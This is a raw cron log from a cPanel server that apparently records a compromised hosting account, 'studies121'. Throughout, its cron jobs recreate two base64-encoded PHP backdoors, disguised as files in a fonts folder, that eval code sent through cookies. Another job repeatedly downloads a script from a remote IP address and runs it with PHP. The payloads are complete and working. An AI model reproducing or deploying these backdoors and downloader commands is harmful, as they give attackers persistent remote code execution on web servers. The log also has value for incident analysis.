Sep 20 19:35:01 ip-184-168-122-23 CROND[18854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:35:01 ip-184-168-122-23 CROND[18856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:35:01 ip-184-168-122-23 CROND[18858]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 19:35:01 ip-184-168-122-23 CROND[18861]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 19:35:01 ip-184-168-122-23 CROND[18859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:35:01 ip-184-168-122-23 CROND[18862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:35:01 ip-184-168-122-23 CROND[18860]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 19:35:01 ip-184-168-122-23 CROND[18857]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 20 19:36:01 ip-184-168-122-23 CROND[19251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:36:01 ip-184-168-122-23 CROND[19253]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:36:01 ip-184-168-122-23 CROND[19252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:36:01 ip-184-168-122-23 CROND[19254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:36:01 ip-184-168-122-23 CROND[19255]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 19:37:01 ip-184-168-122-23 CROND[19499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:37:01 ip-184-168-122-23 CROND[19500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:37:01 ip-184-168-122-23 CROND[19501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:37:01 ip-184-168-122-23 CROND[19505]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:38:01 ip-184-168-122-23 CROND[19742]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:38:01 ip-184-168-122-23 CROND[19743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:38:01 ip-184-168-122-23 CROND[19745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:38:01 ip-184-168-122-23 CROND[19744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:38:01 ip-184-168-122-23 CROND[19746]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 19:39:01 ip-184-168-122-23 CROND[20000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:39:01 ip-184-168-122-23 CROND[20002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:39:01 ip-184-168-122-23 CROND[20003]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 19:39:01 ip-184-168-122-23 CROND[20006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:39:01 ip-184-168-122-23 CROND[20007]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:40:01 ip-184-168-122-23 CROND[20254]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:40:02 ip-184-168-122-23 CROND[20250]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 19:40:02 ip-184-168-122-23 CROND[20251]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 19:40:02 ip-184-168-122-23 CROND[20252]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 19:40:02 ip-184-168-122-23 CROND[20253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:40:02 ip-184-168-122-23 CROND[20256]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 19:40:02 ip-184-168-122-23 CROND[20257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:40:02 ip-184-168-122-23 CROND[20258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:41:01 ip-184-168-122-23 CROND[20487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:41:01 ip-184-168-122-23 CROND[20486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:41:01 ip-184-168-122-23 CROND[20489]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:41:01 ip-184-168-122-23 CROND[20491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:42:01 ip-184-168-122-23 CROND[20790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:42:01 ip-184-168-122-23 CROND[20792]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 19:42:01 ip-184-168-122-23 CROND[20791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:42:01 ip-184-168-122-23 CROND[20796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:42:01 ip-184-168-122-23 CROND[20797]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:43:01 ip-184-168-122-23 CROND[21048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:43:01 ip-184-168-122-23 CROND[21050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:43:01 ip-184-168-122-23 CROND[21049]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:43:01 ip-184-168-122-23 CROND[21051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:44:01 ip-184-168-122-23 CROND[21292]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:44:01 ip-184-168-122-23 CROND[21294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:44:01 ip-184-168-122-23 CROND[21295]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 19:44:01 ip-184-168-122-23 CROND[21296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:44:01 ip-184-168-122-23 CROND[21297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:45:01 ip-184-168-122-23 CROND[21538]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 19:45:01 ip-184-168-122-23 CROND[21541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:45:01 ip-184-168-122-23 CROND[21542]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:45:01 ip-184-168-122-23 CROND[21540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:45:01 ip-184-168-122-23 CROND[21544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:45:01 ip-184-168-122-23 CROND[21543]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 19:46:01 ip-184-168-122-23 CROND[21681]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 20 19:46:01 ip-184-168-122-23 CROND[21682]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 19:46:02 ip-184-168-122-23 CROND[21684]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:46:02 ip-184-168-122-23 CROND[21685]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 19:46:02 ip-184-168-122-23 CROND[21683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:46:02 ip-184-168-122-23 CROND[21687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:46:02 ip-184-168-122-23 CROND[21686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:47:02 ip-184-168-122-23 CROND[22014]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
